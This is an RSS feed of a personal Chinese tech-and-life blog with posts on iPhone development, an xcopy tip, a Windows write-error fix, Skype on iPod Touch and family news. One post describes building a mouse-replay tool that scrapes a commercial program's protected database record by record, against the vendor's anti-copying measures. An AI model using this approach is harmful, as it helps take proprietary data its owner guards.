<?php xml version="1.0" encoding="UTF-8"?> 
<rss version="2.0">
<channel>
<title><![CDATA[馨香小憩]]></title>
<link>http://www.tesoftware.net/blog/</link>
<description><![CDATA[镜中花的博客,关于XBOX360, 教程, 网页学习, 心情故事,  iPhone开发, 高清配置, 杀毒日记,攻略, GBA游戏,关于宝宝筠珩]]></description>
<language>utf-8</language>
<copyright><![CDATA[CopyRight 2006 F2Blog.com All Rights Reserved.]]></copyright>
<webMaster><![CDATA[tesoftware@gmail.com]]></webMaster>
<generator>F2blog 1.2 build 03.01</generator> 
<image>
	<title>馨香小憩</title> 
	<url>http://www.tesoftware.net/blog/attachments/3348078508.jpg</url> 
	<link>http://www.tesoftware.net/blog/</link> 
	<description>馨香小憩</description> 
</image>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=141</link>
	<title><![CDATA[除了工作，你还担任什么角色]]></title>
	<author>镜中花</author>
	<category><![CDATA[心情故事]]></category>
	<pubDate>2011-11-16 22:16</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=141</guid>	
	<description><![CDATA[<p style="MARGIN: 1em 0px">同事E是个工程师，在部门里也算个小骨干，其貌不扬。有一日突然知道原来公司内部杂志上的6格漫画是他画的，再细看那漫画，原来里面的人物原形都是他身边的同事，很神似的。不觉另眼相看：这个学工的人到也小有点才气。而漫画只是玩玩而已，让人咋舌的是，他还是位武林高手，经营一家武馆，是里面的主教练，几年前为求技艺更上一层楼，还亲上少林学艺一年。除一般武艺外，他比较擅长的是奇门兵器，著有中英文版《绳镖》一本。这本书我看过，除讲述招式外，还有一些关于学艺心得的小故事，颇有几分哲理。我正琢磨着向他讨一本亲笔签名的，他却到交通部高就去了。另外，如果家里的钢琴要调音了，可以去找他，他还是个有执照的钢琴调音师。</p>
<p style="MARGIN: 1em 0px">同事J也是个工程师，业余时间他是个运动爱好者。一年四季里的马拉松或半程马拉松，他没有不参加的，今天冬天还专门飞到迪斯尼去跑。 每次他问我&ldquo;Guess what I did this weekend?&rdquo; 我回答&ldquo;Running&rdquo;, 十次有7次是猜对的。（另外三次分别是 Riding bicycle, Kayaking, Sailing）网上关于赛事的记录，每年里都有他的名字，虽然成绩中等，却也有可炫耀的东西。我目前在鼓动他去跑奥林匹克的马拉松。夏天到了，跑步的少了，他也换了个身份，现在是船员，每周去Sailing, 要么是Sailing race，至于接下来的龙舟赛，骑自行车到Kingston, 魁北克河上kayaking, 整个夏天安排得节目丰富，与他相比，我真是他所说的Waste my summer.</p>
<p style="MARGIN: 1em 0px">同事B是个准工程师，估计今年可以拿到他的工程师执照。和同事闲聊时知道他在网上卖些时髦的电器，有几位同事家中的游戏机都是从他手中买到的，大家还批评他怎么能不务正业呢，要先把工程师做好。而后又惊讶地听说他还是位有执照的房产经纪，想买房卖房可以去找他。房产经纪和工程师，这差别可太大了，等他拿到了工程师的执照，一定要请教他怎么做好这两种工作的。</p>
<p style="MARGIN: 1em 0px">另有几位同事分别有着学校教师，冰球高级裁判，滑雪教练等身份，因为不是太熟，就不细说了。</p>
<p style="MARGIN: 1em 0px">接下来讲几位少年英才。</p>
<p style="MARGIN: 1em 0px">一日到朋友家做客，进门后，觉得家中的画很有水平，有素描，钢笔画，油画等等，真看不出朋友还有这爱好，问起来才知道，原来都是他家儿子画的。那少年今年在滑铁卢读二年级，学纳米工程。本来凭他的绘画水平，学个建筑不成问题，但他偏偏要攻高科技，至于他的画曾得过什么奖，有什么人高价来求过，只是为他生活中的另一个角色写就辉煌的历史了。</p>
<p style="MARGIN: 1em 0px">在座的另一位少年是今年的新生，学计算机科学，虚心地向学长请教着。深聊下去，原来他已是游泳俱乐部里拿薪水的教练。哈，就在我认为他一脸稚气，未入社会时，人家已经悄然地担负起社会的角色了。</p>
<p style="MARGIN: 1em 0px">另一位少年人的角色更另人叹服。他现在也是滑铁卢二年级的学生，读金融财会，另一个角色是多伦多职业交响乐团的首席小号替补。说他是替补是因为别人都是职业的，就他是业余的，他随着这交响乐团到各地去演出，却从不把这当作职业。皇后大学闻其大名，给他打电话，给他写信，让他去面试，让他去面谈，把offer送到他手上，都被他婉拒，他的目标只是金融行业，小号只是他的业余爱好，多少人梦寐以求在多伦多职业交响乐团中得到一席之位，对他却只是有演出call我。</p>
<p style="MARGIN: 1em 0px">&nbsp;</p>
<p style="MARGIN: 1em 0px">_________________________________</p>
<p style="MARGIN: 1em 0px">&nbsp;</p>
<p style="MARGIN: 1em 0px">以上在网上看到的，这是国外的华人的贴子。有点感触，除了工作，我还想担任什么角色？</p>
<p style="MARGIN: 1em 0px">我也想有丰富的生活，做些有意义的事业，不止做工作上的，在别的方面，我是不是该再挑点有兴趣的事来做呢。</p>
<p style="MARGIN: 1em 0px">显然，体育不适合我，DIY&hellip;&hellip;没那个本事，音乐？学的基本都荒废了</p>
<p style="MARGIN: 1em 0px">想了半天，还是省省吧，继续为买房子，养孩子的事业而努力吧。</p>
<p style="MARGIN: 1em 0px">这就是中国人的生活&hellip;&hellip;</p>
<p style="MARGIN: 1em 0px">其实，我很爱玩的，却没有时间和精力，年华逝去，我该怎样活出精彩呢</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=140</link>
	<title><![CDATA[最近在忙的事]]></title>
	<author>镜中花</author>
	<category><![CDATA[心情故事]]></category>
	<pubDate>2010-09-28 14:47</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=140</guid>	
	<description><![CDATA[<p>最近没多少时间更新BLOG。都是在瞎忙。</p> <p>手上有三四个项目，都是很棘手的。一个是仓库物资领用系统，一个是系统技术支持平台，另一个就是在线可定制的考试系统。这三个项目同时开发，绝对能把人整疯。</p> <p>好在并不要求工期，我一步步的来。现在物资系统差不多写完了。正在写考试系统。写好差不多也该国庆之后了。</p> <p>苹果的开发工作慢下来了。主要是没那个心情，家里多个小孩子，没办法定下心来心无杂念的去做事。总是很烦燥的样子。哎。</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=138</link>
	<title><![CDATA[博智机游戏FOR iPhone版开发手记]]></title>
	<author>镜中花</author>
	<category><![CDATA[Apple iTouch 资讯]]></category>
	<pubDate>2010-08-04 12:17</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=138</guid>	
	<description><![CDATA[<p>博智机游戏FOR iPhone版开发手记</p> <p>经过一周的研究与尝试，终于在iPhone上开发了第一个象模象样的游戏，这个游戏就是我常写的扑克游戏&mdash;&mdash;博智机。在这里，我打算花点时间，把这个游戏的开发过程写出来，欢迎有兴趣的朋友一起交流经验。</p> <p>博智机就是以前街头能见到的老虎机，规则类似于梭哈，通过五张牌的押注来进行游戏。玩法是，先押分，押完分之后，按键，电脑会出来五张随机的扑克，这五张牌里可能有对子或顺子之类，这时你还可以有一次机会去换牌，点击想要换掉的牌之后，再按一次键，电脑会把要换的牌换成另一张牌，最多可以五张牌全换了。</p> <p>换完之后就是判断结果了，如果你换到的牌是同花顺，那么你就赢得所押分值乘以100倍的奖金。当然，这种机会是非常小的，往下依将是四色（四种花色的同一张牌，如四张A），富尔好（三带两），同花（五张花色一样），顺子，三色，两匹（两对），一匹。</p> <p>当然，为了增加点难度，一对牌一定要大于一对九，也就是一对十以上，才算赢。赔率自然依次递减。因为五张牌都是随机的，所以输赢完全靠运气，玩起来也颇有意思。分押完了可以自己加分，相当于投币，当然我们这个游戏是不收钱的，完全虚拟，一次最多能押100分。也就是说最多中将可达10000分。够刺激了吧。</p><br /> <div style="text-align: center"><img src="http://www.tesoftware.net/blog/attachments/201008/8176616147.jpg" style="cursor:pointer;" onclick="open_img(&#39;http://www.tesoftware.net/blog/attachments/201008/8176616147.jpg&#39;)" alt="http://www.tesoftware.net/blog/attachments/201008/8176616147.jpg" width="400" height="266" /><br /> <br /> </div><div align="center">游戏画面<br /> </div><br /> OK，游戏规则大致如此，那么怎么编这个游戏呢？我在VB，C#以及PPC的EVB上都写过这个游戏，所以流程方面算是很熟了。只是面对的是Iphone平台。一上去是完全不会啊。解决办法很简单，上网看教程！ <p>教程上有教怎么写一个 helloworld 这样的程序，这个我想大家都会学，主要是通过这个过程了解 iPhone的开发环境。老实说，写惯了WIN平台的我，写这个是一头雾水啊。不过总算摸到了门道，大概知道了一点了。</p> <p>然后就是研究那些控件的使用了。 按钮是首先要学会的。大概学了一些关于图形按钮方面的内容，知道按了按钮后将执行哪一段程序。然后就是学习那个UIImageView 类怎么用。也就是图片调用类，学会如何加载图片，如何将消息传给这个类，替换图片。</p> <p>有了这些，那么基本就可以写出博智机程序了。什么？ 你不信？ 好吧，看我一步步的做。<br /> <br /> 待续。。。。。。</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=137</link>
	<title><![CDATA[Objective-C 学习手记]]></title>
	<author>镜中花</author>
	<category><![CDATA[Apple iTouch 资讯]]></category>
	<pubDate>2010-07-16 15:54</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=137</guid>	
	<description><![CDATA[<p>Objective-C 学习手记</p> <p>两年前就因为一次偶然接触，买了一iPod Touch，当时就觉得这个小掌上电脑不错，价格适中，速度快加上操作感极佳，玩过之后立即不碰那台用了五年的PPC了。<br /> 当时就是觉得它好用，好玩，没想过其他的，不过或多或少的，也开始关注苹果公司的事。后来自然是随着iPhone的发展，以至于到今年出来iPad和iPhone4之后，这苹果的东东一下子成了热门的产品了。不由得不多看看这个好玩的东西有关它的开发方面的内容。从而产生了自己也写写苹果上的程序的念头。</p> <p>经过一番论坛恶补，知道了要开发苹果的东西，必须学会用 Objective-C 这个开发工具。我虽然也算个程序员，但仅限于写写高级语言，VB啦，PHP啦或者C#之类的，没写过C，java之类的，主要是没那个需求，工作生活中想做的东西就那么多，没事做捣鼓底层的东西属于吃了没事找事做，毕竟不是专业做开发的，惭愧。。。。</p> <p>这下好了，迷上了开发苹果的应用之后，就只能硬啃有关 Objective-C 的内容了，找了一些教程来看，大差不差的看了一些，表面的东西还是比较容易接受的，装了个虚拟机，亲手动一动才发现它是那么怪异，完全和我学的不是一个老师出来的&mdash;&mdash;本来也不是~~</p> <p>虽然这样，我并没有因此而放弃，准备在这方面投入精力了，就当是玩了~ 有空我会写些心得上来，给大家看也留给自己未来再回顾，也是一件有意思的事。</p> <p>主要了解了一些有关方面的知识，大概看看，语法很怪，只能照猫画虎，相信写多了就习惯了。<br /> 下了一套虚拟机的镜象，装上先玩玩，10.5.5版 OSX。 这个倒不难，装上之后也没啥意外，但是虚拟机上没有 Xcode，只好再去下。<br /> 从苹果下载了最新的版本。不能用。。。。残念。。。再找找，找到一个老版本的，没说的，下~<br /> 下完了就装，熟悉了一下苹果的操作，这个操作比较不习惯，没有小键盘，没有Home,End键之类，功能键也很怪，alt 键是苹果键。</p> <p>好，正式开始学 Objective-C 了。老规距，HelloWorld!<br /> 纯文本下不难，照着写写，搞定。图形界面就傻眼了，在网上找了很多教程，总是不对劲，最后总算找到一个非常好的&ldquo;看图说话&rdquo;教程，推荐学这个，至少写出来能运行。</p> <p>地址：<a href="http://www.maiyadi.com/thread-7309-1-1.html">http://www.maiyadi.com/thread-7309-1-1.html</a></p> <p>写完之后就开始试探着改代码，终于大概了解了一些。呼，不早了，改天再说~</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=136</link>
	<title><![CDATA[感悟]]></title>
	<author>镜中花</author>
	<category><![CDATA[心情故事]]></category>
	<pubDate>2010-06-10 03:29</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=136</guid>	
	<description><![CDATA[<p>网上闲逛，看到一篇文章，其中这一段我觉得写挺好的，抄录如下：</p> 这个世界到处都是一无所有但野心勃勃的年轻人，为了心中的理想与梦中的爱人，他们可以赴汤蹈火。但是公主们是娇气的，她们也许欣赏草根精英的才华但却很难 理解与容忍他们不知疲倦的工作，这会让她感觉自己在他心目中的地位。成长途中的种种掣肘让他们不得不放弃很多东西，因而显得无情与不择手段；其中难免有可 怜虫陷入了&ldquo;不成功的时候得不到女人尊重，成功后不尊重女人&rdquo;的怪圈。但公主们的优渥条件让她们看不到草根精英的疾苦，不时发出何不食肉糜的感慨，而不知 正是她们所难以容忍的品质才让后者赢得与公主坐在一起喝咖啡的机会。]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=135</link>
	<title><![CDATA[复制文件夹而不复制文件]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2010-05-29 01:57</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=135</guid>	
	<description><![CDATA[多国语言翻译工作,大概有2000多万个词条需要翻译,于是分成N个类别,N个文件夹来管理.<br /> 当多台机器一齐翻译时,就得把文件复制到不同的路径,同时翻译的结果也得是同样的结构.这就有个问题了:<br /> <br /> 如何才能只复制文件夹,而不复制文件呢?<br /> <br /> 在网上找到一篇有用的,贴出来<br /> <br /> XCOPY source [destination] [/A | /M] [/D[:date]] [/P] [/S [/E]] [/V] [/W]<br /> [/C] [/I] [/Q] [/F] [/L] [/G] [/H] [/R] [/T] [/U]<br /> [/K] [/N] [/O] [/X] [/Y] [/-Y] [/Z]<br /> [/EXCLUDE:file1[+file2][+file3]...]<br /> <br /> source 指定要复制的文件。<br /> destination 指定新文件的位置和/或名称。<br /> /A 只复制有存档属性集的文件，<br /> 但不改变属性。<br /> /M 只复制有存档属性集的文件，<br /> 并关闭存档属性。<br /> /D:m-d-y 复制在指定日期或指定日期以后改变的文件。<br /> 如果没有提供日期，只复制那些源时间<br /> 比目标时间新的文件。<br /> /EXCLUDE:file1[+file2][+file3]...<br /> 指定含有字符串的文件列表。如果有任何<br /> 字符串与要被复制的文件的绝对路径<br /> 相符，那个文件将不会得到复制。<br /> 例如，指定如 \obj\ 或 .obj 的字符串会排除<br /> 目录 obj 下面的所有文件或带有<br /> .obj 扩展名的文件。<br /> /P 创建每个目标文件前提示。<br /> /S 复制目录和子目录，除了空的。<br /> /E 复制目录和子目录，包括空的。<br /> 与 /S /E 相同。可以用来修改 /T。<br /> /V 验证每个新文件。<br /> /W 提示您在复制前按键。<br /> /C 即使有错误，也继续复制。<br /> /I 如果目标不存在，又在复制一个以上的文件，<br /> 则假定目标一定是一个目录。<br /> /Q 复制时不显示文件名。<br /> /F 复制时显示完整的源和目标文件名。<br /> /L 显示要复制的文件。<br /> /G 允许将没有经过加密的文件复制到<br /> 不支持加密的目标。<br /> /H 也复制隐藏和系统文件。<br /> /R 改写只读文件。<br /> /T 创建目录结构，但不复制文件。不<br /> 包括空目录或子目录。/T /E 包括<br /> 空目录和子目录。<br /> /U 只复制已经存在于目标中的文件。<br /> /K 复制属性。一般的 Xcopy 会重设只读属性。<br /> /N 用生成的短名复制。<br /> /O 复制文件所有权和 ACL 信息。<br /> /X 复制文件审核设置(隐含 /O)。<br /> /Y 禁止提示以确认改写一个<br /> 现存目标文件。<br /> /-Y 导致提示以确认改写一个<br /> 现存目标文件。<br /> /Z 用重新启动模式复制网络文件。<br /> <br /> 如果只复制文件夹 用参数 /T /E<br /> 例如 将D:\data 下面的所有文件夹 复制到 d:\data2 下面<br /> xcopy d:\data d:\data2 /T /E]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=134</link>
	<title><![CDATA[小宝宝降生了！]]></title>
	<author>镜中花</author>
	<category><![CDATA[宝宝成长]]></category>
	<pubDate>2010-05-24 06:45</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=134</guid>	
	<description><![CDATA[公元二零壹零年五月十三日下午三点四十分，偶的小宝宝来到人间。<br /> 在BLOG上新建小宝宝的空间，在此记录成长的里程。<br /> <br /> 小宝宝姓名：陆筠珩 Lu Yun Hang<br /> 身高：51CM<br /> 体重：3800g(七斤六两）<br /> 相貌：眼睛象妈妈，其它像我<br /> 擅长：超大声音，超级震撼人心的哭喊。（绝对让每一个新爸爸立马处于崩溃边缘）<br /> <br /> 立照为证：<br /> <br /> <img src="http://www.tesoftware.net/blog/attachments/month_201005/0741350346.jpg" style="cursor:pointer;" onclick="open_img(&#39;http://www.tesoftware.net/blog/attachments/month_201005/0741350346.jpg&#39;)" alt="http://www.tesoftware.net/blog/attachments/month_201005/0741350346.jpg" width="400" height="250" align="left" /><br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> <br /> 今天是宝宝降生第十天，正式入驻本Blog,从此后，除了机器人，C#，PHP，游戏等关注内容之外，也将不时有小宝宝的内容。欢迎就小宝宝的养育方面的内容进行交流！]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=133</link>
	<title><![CDATA[做一个自己摘抄数据（抓取）的工具]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2010-04-04 06:19</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=133</guid>	
	<description><![CDATA[<div> <p>做一个自己摘抄数据和工具</p> <p>有这么一些软件，也就是建一个数据库，规则不详，格式不详。反正就是一堆东西。然后做一个查询界面，可以输入查询条件，然后检索出来的结果列表，放在一个 TreeView 控件里。然后用户点击选取某一行，得到一个ID，以这个ID去库里查出所属记录的其它字段，比方说名称啊，号码啊，地址啊之类的，把这些字段生成一个文件，为了好看或者说为了图省事，生成的这个文件是个HTML结构的文件，放在当前路径或系统的TEMP 文件夹里，然后在软件界面隐藏一个 IE,需要显示详细内容时就显示出来，读出这个HTML，用户看完点个&ldquo;返回&rdquo;，就再次将这个IE隐藏，再去 TreeView 里去查询。如果者N次，软件美其名曰：某某信息系统或者某某数据库。</p> <p>这样的软件通常是国内的朋友写的，比较偷懒，而这种软件最恨的就是把别人数据库拿走。因为软件本身不值钱，值钱的就是这个数据库里的数据。为了防止盗版，做了一些加密的东东，诸如加密狗、用户认证之类的一大堆。碰到这样的软件，从外围去攻它的数据库是不太现实的&mdash;&mdash;也许别的高手会，可惜，我不会。：（</p> <p>现在我手上就有这么一个软件，包含了一个几百M的数据库，看了一下数据库内容（主要是头信息），根本闹不清是什么数据库的&mdash;&mdash;要是ACCESS就简单了，呵呵。<br /> 然后就想办法理解这个东东究竟是什么数据库，以便我拿相应的数据库驱动来读取。试了N种，结论是不行。（一开始我就觉得不太可能的，因为数据表文件的头信息里啥也没有）</p> <p>最后我就看出了软件的可攻破的地方了。对了，就是那个HTML文件。既然那个HTML文件是固定的，文件里的内容虽然只有一条，但那是一条完整的信息，如果将这个文件保存下来，能把所有的数据遍历一遍，我就将得到这个数据库。而我要做的，就是写一个程序，模拟鼠标操作，把所有的记录都点一遍。这个，我能做到。</p> <p>于是写了一个软件。软件暂且命名为&ldquo;动作录放器&rdquo;吧。</p> <p><a href="http://www.tesoftware.net/blog/content/uploadfile/200906/151bd7ed9b4a97da5d7129799923c00020090626113307.gif" target="_blank"></a></p> <p>软件分为&ldquo;记录动作&rdquo;和&ldquo;重放记录&rdquo;两大块。</p> <p>&ldquo;记录动作&rdquo;这一块就是将一定时间段内的鼠标坐标与点击状态进行记录</p> <p>实现原理，通过API实时获得鼠标坐标，然后捕获一个键盘事件。由键盘指定这个动作是按下、单击或双击</p> <p>按下&mdash;&mdash;是指按住鼠标不松手。（这个动作是用来拖动滚动条的，它的作用在下面说）</p> <p>记录下来的轨迹做成一条记录，存在ListBox里。</p> <p>把一段记录记下来之后，就可以保存了。利用读取功能，随时都能调出这个操作集合。</p> <p>&ldquo;重放记录&rdquo;就是把记下来的轨迹再放出来。这里有一些参数要设定</p> <p>重现次数：也就是循环多少次。用于翻页重复执行<br /> 拖动步进：就是说当TreeView 一页显示的行数不足本页行数时，要有一个拖动滚动条的动作。这个动作也要真实的做出来。不然没办法采集完整<br /> 时间间隔：这个是用于调整点击按键的时间的，因为有可能鼠标点过去，目标控件反应不过来，造成点击无效</p> <p>有了这些参数，鼠标就会自动去重复先前设定的事了。</p> <p>最后设一个&ldquo;提取文件&rdquo;，用于当一个步骤周期完成后，把生成的那个HTML文件给保存到内建的文件里。</p> <p>软件做成后，它果然可以自动的去完成抓数据这一枯燥的事情。虽然慢一点，但毕竟它解决了。</p> </div>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=132</link>
	<title><![CDATA[很有意思的小故事]]></title>
	<author>镜中花</author>
	<category><![CDATA[游戏心情]]></category>
	<pubDate>2010-04-04 06:17</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=132</guid>	
	<description><![CDATA[&nbsp;&nbsp; 有一天，一位其貌不扬的男士，带着一位十分艳丽的OL，来到Causeway Bay一家LV店。他为OL选了一价值6万5元的LV handbag。付款时，男士掏出支票本，十分潇洒地签了一张支票。店员有些为难，因为这对夫妇是第一次来店购物。男士看穿了店员的心思，十分冷静地对店员说： 我感觉到，您担心这是一张是空头支票，对吗？今天是周六，银行关门。我建议您把支票和handbag都留下。等到星期一支票兑现之后，再请你们把 handbag 送到这位小姐的府上。您看这样行不行？店员放了下心来，欣然地接受了这个建议，并且大方的承诺，递送handbag的费用由该店承担，他本人将会亲自把这件事情给办妥。<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 星期一，店员拿着支票去银行入账，支票果真是张空头支票！愤怒的店员打电话给那位顾客，客户对他说： 这没有什么要紧啊！你和我都没有损失。上星期六的晚上，那女孩已经跟我去酒店了！哦，多谢您的合作。<br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这个故事揭示了次贷危机的本质。人们在对未来收益充满良好预期的时候，对于可能加大风险缺乏防范意识。美女认为周一六万多LV就到家了，自然也就放松了警惕，认为ONS的投资是值得的，对于投入产出的预期是建立在一个具有巨大不确定风险的情况下的。而对未来利益预期的包装则是这些投资机构最擅长的事情。中国的股民大多跟这个美女一样，所以亏本基本上是活该，没有这些人，股市赚谁的钱呢。而媒体和分析家们，往往在其中扮演了LV店员的配合角色。<br /> &nbsp;]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=130</link>
	<title><![CDATA[留言本程序更新]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-06-04 14:31</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=130</guid>	
	<description><![CDATA[<p>动态留言本程序好象有点问题了。而且功能实在太弱，今天正好有空，把它再捣鼓一下吧</p>
<p>所谓动态留言本，其实就是个利用AJAX技术以及DIV叠加特效做成的一种效果。留言都留言后，可以自己安排自己的留言位置。就是拖动自已的留言标签，拖到易于显示的地方。这样有了点互动性，比较好玩</p>
<p>使用方法很简单，左上角有一个白点，点它就可以弹出留言的界面，填写上您的网名和正文后，提交，就可以了。刚提交上去时，你的留言是在页面左边的一个很普通的位置，你如果想让你的留言更容易让人看到的话，就把它往中间拖吧。你会发现，你拖到的位置网页已经记住了！下次打开它，它还在那里哦</p>
<p>准备画一个漂亮的背景，你可以选择把你的留言放在你想放的位置，这样似乎更好玩一些~</p>
<p>先这么着，感兴趣的朋友可以来试试哦~<br>
http://www.tesoftware.net/guestbook/index.php
</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=126</link>
	<title><![CDATA[电脑时常出现“windows无法为某某文件保存所有数据”的错误]]></title>
	<author>镜中花</author>
	<category><![CDATA[网站开发经验]]></category>
	<pubDate>2009-05-14 11:41</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=126</guid>	
	<description><![CDATA[<p>具体提示是&ldquo;Windows 延缓写入失败。windows无法为某某文件保存所有数据，数据已经丢失。这个错误可能是由于您的计算机硬件或网络链接的失败而造成的。请尝试把这份文件保存到别处。&rdquo;</p>
<p>到网上查找，可能的原因不少，下面一一列出： 1．磁盘驱动器本身的原因。这种情况尤其发生SCSI或者RAID驱动器上。有一些RAID驱动器的驱动程序会在安装了SP2的XP操作系统中报告一个虚假消息告诉用户&ldquo;写入缓存失败&rdquo;。所以你应该为你的磁盘驱动器安装最新版本的驱动程序。 2．数据线的原因。一些错误或者损坏的数据线，特别是外部USB线和火线，会造成这种情况。 4．媒体错误。这是可能发生的最严重的情况，换句话说，也就是磁盘驱动器坏了。这需要专用的磁盘检测软件进行扫描，以作出正确判断。 5．驱动器控制器的问题。曾经出现过USB控制器和其他硬件设备冲突并产生写入缓存失败的情况。 6．内存的奇偶校验错误。这种情况通常发生在新增了一条内存之后。造成这种错误的原因是很可能是新内存条和主板所支持的内存类型不符，或者是内存本身有问题。 7．注册表中的LargeSystemCache键值错误。这种情况很少见，通常发生在那些安装了ATI显示适配器，内存大于521MB的机器上。这些机器上的注册表中有一个叫做LargeSystemCache的键（HKEY LOCAL MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Memory Management），该键值用来管理系统分配给一些核心进程的内存容量，如果键值被设为1的话（这样设置可以增强内存大于512MB的机器的性能），有可能会在一些系统中导致数据错误和产生写入缓存失败的错误。如果出现这种情况的话，请把该键值改为0。在合适的时间彻底检查一下相关的硬件和连线。</p>
<p>&nbsp;造成此现象的原因可能有以下几种：（1）磁盘驱动器和操作系统的驱动程序不兼容，一般出现在安装了XP sp2的SCSI或RAID驱动器上；（2）数据线的错误和损坏会造成这种情况；（3）磁盘驱动器损坏；（4）驱动器控制器的问题，一般出现在USB控制器和其他硬件设备的冲突上；（5）内存的奇偶校验错误，这种情况通常发生在增加内存后，可能是新增内存和主板不兼容，也可能是内存本身有问题；（6）注册表中的LargeSystemCache键值错误。这种情况很少见，通常发生在那些安装了ATI显示适配器，内存大于521MB的机器上。这些机器上的注册表中有一个叫做LargeSystemCache的键（HKEY LOCAL MACHINE\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Memory Management），该键值用来管理系统分配给一些核心进程的内存容量，如果键值被设为1的话（这样设置可以增强内存大于512MB的机器的性能），有可能会在一些系统中导致数据错误和产生写入缓存失败的错误。如果出现这种情况的话，请把该键值改为0。在排除几种情况后，决定更换数据线，检测并修复系统分区，经过几天的观察，没有再出现类似问题</p>]]></description>
</item>
<item>
	<link>http://www.tesoftware.net/blog/index.php?load=read&amp;id=125</link>
	<title><![CDATA[在 ITouch 上使用SKYPE的心得,附常见问题解决方法]]></title>
	<author>镜中花</author>
	<category><![CDATA[Apple iTouch 资讯]]></category>
	<pubDate>2009-05-13 16:02</pubDate>
	<guid>http://www.tesoftware.net/blog/index.php?load=read&amp;id=125</guid>	
	<description><![CDATA[<p>拥有一台iTouch 的朋友，或多或少总会有一点妒忌 iPhone 的拥有者。毕竟人家那个是手机，而我们手上的最多只能说一个掌上电脑吧。（其实大多数时间都是拿它当MP3和MP4用），多希望它能打电话啊。。。</p><br /> <p>所以，在网上发布IPhone版的SKYPE的时候，大家都很兴奋，只要有WiFi,就可以通过 ITouch 上的 SKYPE 联网，并直接打电话了，多么令人神往的事！ 我当然也是其中跃跃欲试者。</p><br /> <p>OK，如果您也有一台ITouch，那么参照我这个小白鼠的经验，相信你一定会用ITouch打成电话的。</p><br /> <p>对了，有一点得注意，你必须得确定你的ITouch是二代，版本得 2.2 以上。（什么？你和我同事一样买的是一代，那您还是猛击&ldquo;关闭&rdquo;，然后找地方哭去吧~~）</p><br /> <p>iPod Touch第一代其实也早有解决方案，早在iPod Video时即2005年左右，iPod著名周边品牌MACALLY就推出了iVoice周边，它目前销售型号是iVoice III,支持iPod Classic/Video以及所有Nano和Touch，最初它是被用作外置麦克风来使用，当然作为Skype此时的应用也没有问题。只不过价格比较贵。</p><br /> <p>首先得有一个话筒，是的，你得有话筒，不然打不了电话。。。。 不用担心，话筒不难弄，感谢咱生活在这个山寨满天飞的好时代。你只要花最低 10 元钱，上淘宝买一个Iphone的话筒线控就行了。当然，10块钱的东东音质什么就没得说了。我只是告诉你&mdash;&mdash;它能用！</p><br /> <p>然后是通过 iTunes Store 下载一个 Skype，放心，免费的！</p><br /> <p>然后自然是装上。装完了就会问题一大堆了。呵呵呵~</p><br /> <p>注册登陆后，就和普通IM软件没有太大差别的是可以与线上好友Skype to Skype的聊天了，Skype to Skype是完全免费的。如何与国内的座机与手机通话呢？首先需要给Skype的账户充值。当然，先不要急着花钱充值，在Skype的好友里会有一个测试账号机器人，你可以拨过去，语音会提示在信号后你可以说话，系统会录下来播放给你听，从而验证你现有硬件没有问题。</p><br /> <p>经过一番折腾，我顺利的只花10块钱买个话筒就能通过WIFI和朋友聊天了。经测试，话筒音质不怎么样，但还是属于能听懂的范畴，而我这里听到对方的声音，音质很好。而且完全没有退出的顾虑。</p><br /> <p>第一次玩iTouch的SKYPE，与朋友聊天，居然一口气聊天iTouch没电为止。呵呵。真爽！</p><br /> <p><br /> <br /> <strong>常见问题：</strong></p><br /> <p>问：运行的时候提示我版本不支持，拒绝运行。</p><br /> <p>这个问题我碰到过，解决方法是删掉从 iTunes Stroe 下载的那个SKYPE，改用 91软件助手上下载的那个版本。还有一个中文汉化版也可以试试，网上那个好象对 2.2.1 支持不是很好。根据你的机器的情况，你多尝试几种版本吧。</p><br /> <p>问：运行后，看到登陆界面，一点输入就退出</p><br /> <p>这是网上反映的最多的一种问题，其实这个问题与SKYPE无关，是你的机器上的中文输入法之类的软件与它冲突。比方说我装的iCoust中文五笔输入法，就会有这个问题，解决方法是删掉此类的软件，如wefit、icoust之类的。</p><br /> <p>问：运行不稳定，一会就自动退出</p><br /> <p>这个对越狱后的iTouch是常见的问题，在网上看的说是要升级 Cydia 上的 Mobile-substrate 包，你可以自己在 Cyida 